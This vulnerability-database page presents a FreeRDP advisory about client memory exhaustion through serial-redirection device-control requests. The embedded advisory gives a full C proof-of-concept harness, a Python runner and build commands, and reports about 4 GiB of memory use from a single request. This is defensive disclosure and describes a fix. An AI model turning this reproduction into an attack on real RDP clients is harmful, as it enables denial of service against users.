Serial RDPDR output length can exhaust FreeRDP client memory
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- Required
- Attack complexity
- Low
- Impact type
- Denial of service
- Confidentiality · integrity · availability
- None · None · Low
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-r387-jjq3-87hv. Fix status from GitHub. Impact type from CWE-770.
Summary
FreeRDP up to and including 3.32.1 is affected when serial redirection is enabled. A server can send a serial device-control request with a near-maximum 32-bit output buffer length, and WinPR wrongly reports the full requested length as returned, so the client allocates and fills a very large buffer. This is improper input validation (CWE-20) and allocation without limits (CWE-770). A remote server can exhaust client memory with a single request, which affects availability and requires user interaction with the redirected serial device session.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
### Summary A server connected to a FreeRDP client with serial redirection enabled can send a serial `IRP_MJ_DEVICE_CONTROL` request with a near-maximum 32-bit `OutputBufferLength` and `IOCTL_USBPRINT_GET_1284_ID`. The serial client allocates the requested buffer. WinPR returns failure for that IOCTL but incorrectly sets `BytesReturned` to the entire requested output length. The serial handler then grows and writes that many bytes into its response stream. A real-handler test measured about 4.01 GiB peak RSS and 3.8 seconds in the handler from one request. ### Root cause `serial_process_irp_device_control` in `channels/serial/client/serial_main.c` does not cap the wire `OutputBufferLength` before `calloc`. `CommDeviceIoControl` in `winpr/libwinpr/comm/comm_ioctl.c` sets `*lpBytesReturned = nOutBufferSize` for the unsupported USBPRINT 1284-ID IOCTL and returns `FALSE`. The serial completion path nevertheless uses `BytesReturned` to grow and fill the output stream. A successful `IRP_MJ_CREATE` and an open redirected serial device are prerequisites. ### Impact and limits The test with `OutputBufferLength=0xFFFFFFFF` committed about 4.01 GiB, but its response position was `4294967315`, beyond the production `UINT32_MAX` send guard; it was not transmitted. `0xFFFFFF00` committed a similar amount and produced a position inside that guard, but network transmission was not observed. A supported baud-rate IOCTL returned four bytes and kept RSS near 7.5 MiB despite the large allocation request; a low virtual-address limit caused clean `STATUS_NO_MEMORY` handling. Concurrent amplification and OOM killing were not executed. No confidentiality or integrity effect was observed. ### Reproduction ```sh SOURCE_DIR=FreeRDP-3.32.0 BUILD_DIR=build-freerdp cmake -S "$SOURCE_DIR" -B "$BUILD_DIR" -DWITH_VERBOSE_WINPR_ASSERT=ON cmake --build "$BUILD_DIR" --parallel 2 cc -D_GNU_SOURCE -DFREERDP_EXPORTS -DNONAMELESSUNION \ -DWINPR_DEFINE_ATTR_NODISCARD -DWITH_OPENSSL \ -DWITH_VERBOSE_WINPR_ASSERT -D_FILE_OFFSET_BITS=64 \ -I"$SOURCE_DIR" -I"$SOURCE_DIR/winpr/include" \ -I"$SOURCE_DIR/include" -I"$SOURCE_DIR/channels/client" \ -I"$BUILD_DIR" -I"$BUILD_DIR/include" \ -I"$BUILD_DIR/winpr/include" -I"$BUILD_DIR/channels/client" \ -O2 -g -std=gnu11 -fsigned-char \ serial_usbprint_harness.c -o serial_usbprint_harness \ -L"$BUILD_DIR/winpr/libwinpr" -L"$BUILD_DIR/libfreerdp" \ -L"$BUILD_DIR/client/common" \ -Wl,-rpath,"$BUILD_DIR/winpr/libwinpr" \ -Wl,-rpath,"$BUILD_DIR/libfreerdp" \ -Wl,-rpath,"$BUILD_DIR/client/common" \ -lwinpr3 -lfreerdp3 -lfreerdp-client3 python3 run_case.py baseline 0 0x10000000 ``` The baseline reserves and writes 256 MiB. Run the 4 GiB cases only in a disposable machine with a sufficient memory limit; they can exhaust memory or terminate the session. ```sh python3 run_case.py max 12884901888 0xFFFFFFFF python3 run_case.py sendable 12884901888 0xFFFFFF00 ``` For the baud control, the archived run passed `0x001B0050` as a second argument to the C program. The runner below accepts only the output-length argument, so that control requires invoking `./serial_usbprint_harness 0xFFFFFFFF 0x001B0050` under an equivalent process memory limit. Complete C harness: ```c /* * Serial RDPDR reproduction harness for the CAND-000175 issue * (also recorded as the duplicate CAND-000183). * * It #includes the REAL channels/serial/client/serial_main.c (read-only) so * serial_process_irp_device_control() runs verbatim against a real WINPR_COMM * handle (pty slave registered via DefineCommDevice). The 16-byte RDPDR * iocompletion header is pre-written into irp->output exactly like irp_new() * (libfreerdp/utils/rdpdr_utils.c:272, 16 bytes) so stream offsets and the * rdpdr_send() UINT32 guard arithmetic match the production path. * * Usage: serial_usbprint_harness <OutputBufferLength-dec-or-hex> * * Observed: * IoStatus == STATUS_NO_MEMORY (0xC0000017) -> calloc(OutputBufferLength) failed * IoStatus == STATUS_NOT_IMPLEMENTED (0xC0000002) * rc == CHANNEL_RC_OK -> echo written into irp->output * rc == CHANNEL_RC_NO_MEMORY -> calloc OK, output-stream resize failed * * After the call: irp->output position = 20 + BytesReturned in the production * flow (16 header + 4 length + echo). rdpdr_send() only transmits when * position <= UINT32_MAX (channels/rdpdr/client/rdpdr_main.c:2001). */ #include <freerdp/config.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/resource.h> #include <sys/time.h> #include <winpr/assert.h> #include <winpr/collections.h> #include <winpr/comm.h> #include <winpr/file.h> #include <winpr/synch.h> #include <winpr/thread.h> #include <winpr/wlog.h> /* Pull in the real implementation (static functions become callable here). */ #include "channels/serial/client/serial_main.c" /* DEVMAN is opaque in this translation unit; only storage is needed. */ static unsigned char devman_storage[1024]; static IRP* make_irp(void) { IRP* irp = (IRP*)calloc(1, sizeof(IRP)); irp->output = Stream_New(nullptr, 256); irp->input = Stream_New(nullptr, 1024); irp->devman = (DEVMAN*)devman_storage; /* Mirror irp_new() -> rdpdr_write_iocompletion_header(): 16 bytes. */ for (size_t i = 0; i < 16; i++) Stream_Write_UINT8(irp->output, 0); return irp; } static void init_serial(SERIAL_DEVICE* serial, const char* deviceName) { memset(serial, 0, sizeof(*serial)); serial->log = WLog_Get("poc.serial"); serial->device.name = (char*)deviceName; serial->device.type = RDPDR_DTYP_SERIAL; serial->IrpThreads = ListDictionary_New(FALSE); InitializeCriticalSection(&serial->TerminatingIrpThreadsLock); serial->MainIrpQueue = MessageQueue_New(nullptr); } static void fill_device_control(IRP* irp, UINT32 outLen, UINT32 inLen, UINT32 ioctl) { Stream_ResetPosition(irp->input); Stream_Write_UINT32(irp->input, outLen); /* OutputBufferLength */ Stream_Write_UINT32(irp->input, inLen); /* InputBufferLength */ Stream_Write_UINT32(irp->input, ioctl); /* IoControlCode */ for (size_t i = 0; i < 20; i++) Stream_Write_UINT8(irp->input, 0); /* Padding (20) */ for (UINT32 i = 0; i < inLen; i++) Stream_Write_UINT8(irp->input, 0x41); /* InputBuffer */ Stream_ResetPosition(irp->input); } /* Create a pty slave and register it as COM1 so winpr_CreateFile() succeeds. */ static HANDLE open_test_comm(wLog* log) { int master = posix_openpt(O_RDWR | O_NOCTTY); if (master < 0) { perror("posix_openpt"); return INVALID_HANDLE_VALUE; } if (grantpt(master) < 0 || unlockpt(master) < 0) { perror("grantpt/unlockpt"); return INVALID_HANDLE_VALUE; } char* slave = ptsname(master); if (!slave) { perror("ptsname"); return INVALID_HANDLE_VALUE; } if (!DefineCommDevice("COM1", slave)) { WLog_Print(log, WLOG_ERROR, "DefineCommDevice failed: %" PRIu32, GetLastError()); return INVALID_HANDLE_VALUE; } HANDLE hComm = winpr_CreateFile("COM1", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr); if (!hComm || (hComm == INVALID_HANDLE_VALUE)) { WLog_Print(log, WLOG_ERROR, "winpr_CreateFile failed: %" PRIu32, GetLastError()); return INVALID_HANDLE_VALUE; } return hComm; } static void read_vm(const char* key, char* out, size_t outlen) { out[0] = '\0'; FILE* f = fopen("/proc/self/status", "r"); if (!f) return; char line[256]; while (fgets(line, sizeof(line), f)) { if (strncmp(line, key, strlen(key)) == 0) { char* p = line + strlen(key); while (*p == ' ' || *p == '\t') p++; snprintf(out, outlen, "%s", p); break; } } fclose(f); } int main(int argc, char** argv) { if (argc < 2) { fprintf(stderr, "usage: %s <OutputBufferLength: decimal or 0xHEX> [IoControlCode]\n", argv[0]); return 2; } char* end = NULL; unsigned long long v = strtoull(argv[1], &end, 0); if (!end || *end != '\0' || v > 0xFFFFFFFFull) { fprintf(stderr, "bad OutputBufferLength '%s'\n", argv[1]); return 2; } const UINT32 outLen = (UINT32)v; UINT32 ioctl = IOCTL_USBPRINT_GET_1284_ID; if (argc > 2) { unsigned long long iv = strtoull(argv[2], &end, 0); if (!end || *end != '\0' || iv > 0xFFFFFFFFull) { fprintf(stderr, "bad IoControlCode '%s'\n", argv[2]); return 2; } ioctl = (UINT32)iv; } static SERIAL_DEVICE serial; wLog* log = WLog_Get("poc.serial"); init_serial(&serial, "COM1"); serial.ServerSerialDriverId = SerialDriverSerialSys; HANDLE hComm = open_test_comm(log); if (hComm == INVALID_HANDLE_VALUE) return 3; serial.hComm = hComm; _comm_setServerSerialDriver(serial.hComm, serial.ServerSerialDriverId); _comm_set_permissive(serial.hComm, FALSE); IRP* irp = make_irp(); fill_device_control(irp, outLen, 0, ioctl); static char vmPeakBefore[64], vmRssBefore[64]; read_vm("VmPeak:", vmPeakBefore, sizeof(vmPeakBefore)); read_vm("VmRSS:", vmRssBefore, sizeof(vmRssBefore)); struct timespec t0, t1; clock_gettime(CLOCK_MONOTONIC, &t0); const UINT rc = serial_process_irp_device_control(&serial, irp); clock_gettime(CLOCK_MONOTONIC, &t1); const double ms = (t1.tv_sec - t0.tv_sec) * 1e3 + (t1.tv_nsec - t0.tv_nsec) / 1e6; const size_t position = Stream_GetPosition(irp->output); const size_t capacity = Stream_Capacity(irp->output); UINT32 bytesReturned = 0; if (position >= 20) memcpy(&bytesReturned, Stream_Buffer(irp->output) + 16, sizeof(bytesReturned)); static char vmPeakAfter[64], vmRssAfter[64]; read_vm("VmPeak:", vmPeakAfter, sizeof(vmPeakAfter)); read_vm("VmRSS:", vmRssAfter, sizeof(vmRssAfter)); printf("outLen=0x%08" PRIX32 " ioctl=0x%08" PRIX32 " rc=%" PRIu32 " IoStatus=0x%08" PRIX32 " GetLastError=0x%08" PRIX32 "\n", outLen, ioctl, rc, (UINT32)irp->IoStatus, GetLastError()); printf("BytesReturned_field=%" PRIu32 " stream_position=%zu stream_capacity=%zu\n", bytesReturned, position, capacity); printf("production_send: position=%zu <= UINT32_MAX ? %s\n", position, position <= (size_t)UINT32_MAX ? "YES (would transmit)" : "NO (rdpdr_send returns ERROR_INTERNAL_ERROR)"); printf("bytes_echoed_into_stream=%ld\n", (position >= 20) ? (long)position - 20 : -1L); printf("elapsed_ms=%.1f VmPeak=%s->%s VmRSS=%s->%s\n", ms, vmPeakBefore, vmPeakAfter, vmRssBefore, vmRssAfter); /* irp->Complete/irp->Discard are not set by this focused harness; the process * exits here and the kernel reclaims the buffers. */ return (rc == CHANNEL_RC_OK) ? 0 : 4; } ``` Complete Python runner: ```python #!/usr/bin/env python3 """Run the CAND-000175 harness with optional RLIMIT_AS and report max RSS. usage: run_case.py <label> <vmem_bytes or 0> <outlen> [timeout_s] """ import resource import subprocess import sys import time label = sys.argv[1] vmem = int(sys.argv[2]) outlen = sys.argv[3] timeout = int(sys.argv[4]) if len(sys.argv) > 4 else 120 log = f"{label}.log" def limit(): resource.setrlimit(resource.RLIMIT_AS, (vmem, vmem)) cmd = ["./serial_usbprint_harness", outlen] t0 = time.monotonic() with open(log, "w") as f: p = subprocess.run( cmd, stdout=f, stderr=subprocess.STDOUT, preexec_fn=limit if vmem else None, timeout=timeout, ) dt = time.monotonic() - t0 ru = resource.getrusage(resource.RUSAGE_CHILDREN) with open(log) as f: out = f.read() print(f"=== {label} rc={p.returncode} wall={dt:.2f}s child_maxrss={ru.ru_maxrss} KB") print(out.strip()) ``` The original harness was executed against the real handler in the archived build. The recorded `0xFFFFFFFF` test returned handler `rc=0`, `IoStatus=0xC0000002`, `BytesReturned_field=4294967295`, output-stream position `4294967315`, and peak RSS about **4.01 GiB** after about **3.8 seconds** in the handler. That position exceeds `UINT32_MAX`, so production `rdpdr_send` would reject it; the harness itself did not send it on a channel. The `0xFFFFFF00` test reached position `4294967060` and peak RSS about **4.01 GiB**; its position is within the production send guard, but actual network transmission was not observed. A supported baud-rate IOCTL with the same requested length returned only four bytes and stayed near 7.5 MiB RSS; a 1 GiB address-space limit caused `calloc` to fail cleanly with `STATUS_NO_MEMORY`. These controls isolate the failed USBPRINT length report and distinguish allocation reservation from committed memory. No live malicious-server serial-redirection replay was performed. The source trace establishes the RDPDR route, while the runtime records establish the real handler and WinPR behavior at that boundary. ### Remediation Cap `OutputBufferLength` before allocation, clear `BytesReturned` when an IOCTL fails, and append output only when the IOCTL succeeded and the returned length is within the allocated buffer. Add RDPDR regression tests for normal, oversized, unsupported-IOCTL, and response-size-boundary requests. No fixed release was verified.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | <= 3.32.1 | 3.32.2 | Patch available | GHSA-r387-jjq3-87hv |
- FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-r387-jjq3-87hv
Remediation
Upgrade FreeRDP to version 3.32.2.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-r387-jjq3-87hv FreeRDP (c) Fixed in 3.32.2 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-r387-jjq3-87hv
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences